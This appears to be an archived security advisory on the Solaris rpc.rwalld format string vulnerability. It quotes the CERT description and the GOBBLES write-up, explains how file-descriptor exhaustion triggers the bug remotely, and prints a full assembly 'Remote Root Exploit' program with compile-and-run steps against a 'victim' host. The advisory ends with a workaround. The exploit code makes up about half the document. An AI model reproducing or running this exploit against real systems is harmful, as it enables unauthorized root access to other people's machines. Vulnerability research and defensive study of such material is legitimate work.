COMMAND
	Sun rpc.rwalld format string vulnerability
SYSTEMS AFFECTED
	Sun Solaris 2.5.1, 2.6, 7, and 8
PROBLEM
	In CERT [http://www.cert.org/] advisory [CA-2002-10] :
	-snapp-
	 rpc.rwalld is a utility that listens for remote wall requests. Wall is
	 used  to  send a message to all terminals of a time-sharing system. If
	 the  wall command cannot be executed, the rwall daemon will display an
	 error message.
	 An  intruder can consume system resources and potentially prevent wall
	 from  executing, which would trigger the rwall daemon's error message.
	 A  format  string  vulnerability  exists in the code that displays the
	 error  message.  This vulnerability may permit the intruder to execute
	 code with the privileges of the rwall daemon.
	 This  vulnerability  may  be  exploited  both  locally  and  remotely,
	 although remote exploitation is significantly more difficult.
	-snipp-
	In GOBBLES security advisory [#32]  who  originally  reported  the  bug,
	they added the following comments to the faulty code :
	
	   /*
	    * Make sure the wall programs exists, is executeable, and runs
	    */
	   if (rval == -1 || (wall.st_mode & S_IXUSR) == 0 ||
	      (fp = popen(WALL_PROG, "w")) == NULL) {
	          syslog(LOG_NOTICE,
	                   "rwall message received but could not execute %s",
	                   WALL_PROG);
	          syslog(LOG_NOTICE, msg);
	
	Bug easy enough to spot, but now question is, "GOBBLES, friend,  how  is
	this to be exploited? Faulty syslog() only called if rpc.rwalld can  not
	execute /usr/sbin/wall on local system, which mean it  only  exploitable
	if admin have chmod -x or rm  /usr/sbin/wall  or  something  like  this,
	right, so why this so such a big deal?"
	To this GOBBLES  say,  "Friend  IDIOT,  faulty  syslog()  is  called  if
	anything is to make popen() fail, there one other way  to  exploit  bug,
	which make it dangerous and affect all installation of  Solaris  running
	rpc.rwalld,  is  that  popen()  to  fail  if  there  no  available  file
	descriptors on system."
	This easier to exploit  locally  on  system.  For  remote  exploitation,
	timing is important and thus is race condition. Each new tcp session  to
	running service on target host will consume filedescriptor.
	And the "not so exploitable" exploit :
	
	/*
	   Remote Root Exploit for Solaris 6-8 rpc.walld
	      Usage Instructions:
	       1. Compile.
	           gcc -o xwall xwall.s
	       2. Run.
	          (./xwall ; ./shellcode) | rwall victim
		3. Late Easter egg.
		  strings xwall
	      Note(s):
	       Something else must be done to consume FD's on
	       victim system.  Figure this one out for self.
	       This exploit written to be run on Linux.  Supplied
	       format string is for Sparc Solaris.  Provide own
	       remote shellcode and use as above described.
	   Love,
	   GOBBLES Security
	   http://www.bugtraq.org
	   [email protected]
	*/
	retloc:
	.long 0x41424344
	retaddr:
	.long 0x60bb135
	padding:
	.long 4
	walkcount:
	.long 1
	.globl main
	.type main,@function
	main:
	pusha
	movl (padding),%ecx
	jusfhds7fg:
	pushl %ecx
	movl $4,%eax
	movl $1,%ebx
	pushl $0x00000041
	movl %esp,%ecx
	movl $1,%edx
	int $0x80
	popl %ecx
	popl %ecx
	loop jusfhds7fg
	movl %esp,24(%esp)
	pushl $0x42424242
	movl $4,%edx
	movl %esp,%ecx
	movl $1,%ebx
	movl $4,%eax
	int $0x80
	movl (retloc),%eax
	bswapl %eax
	pushl %eax
	subl $4,%ecx
	movl %edx,%eax
	int $0x80
	addl $4,%ecx
	movl %edx,%eax
	int $0x80
	subl $4,%ecx
	popl %eax
	bswapl %eax
	incl %eax
	incl %eax
	bswapl %eax
	pushl %eax
	movl %edx,%eax
	int $0x80
	popl %eax
	movl %esp,%edx
	incl %edx
	xorl %esi,101(%ebp)
	andb %al,111(%edx)
	popa
	pushl %edx
	andb %al,97(%ebx)
	decl %esi
	aaa
	andb %al,111(%ebx)
	incl %esp
	xorl (%ecx),%eax
	movl (walkcount),%ecx
	cmpl $0,%ecx
	je nczxhczjcg89zg89
	pushl %ecx
	movl $4,%edx
	movl $1,%ebx
	pushl $0x78382e25
	cmzxnczxcz8c:
	pushl %ecx
	movl %esp,%ecx
	addl $4,%ecx
	movl $4,%eax
	int $0x80
	popl %ecx
	loop cmzxnczxcz8c
	popl %ecx
	popl %ecx
	nczxhczjcg89zg89:
	movl (retaddr),%edx
	pushl %edx
	shr $16,%edx
	subl %edx,(%esp)
	movw $0,2(%esp)
	pushl %edx
	shll $3,%ecx
	subl %ecx,(%esp)
	movl (padding),%edx
	subl %edx,(%esp)
	subl $16,(%esp)
	movw $0,2(%esp)
	pushl $cznxczxczxh8
	call printf
	movl $1,%eax
	int $0x80
	cznxczxczxh8:
	.string "%%%uc%%hn%%%uc%%hn\n"
	
SOLUTION
	Disabling rpc.rwalld in inetd.conf is the recommended  workaround  until
	patches are available.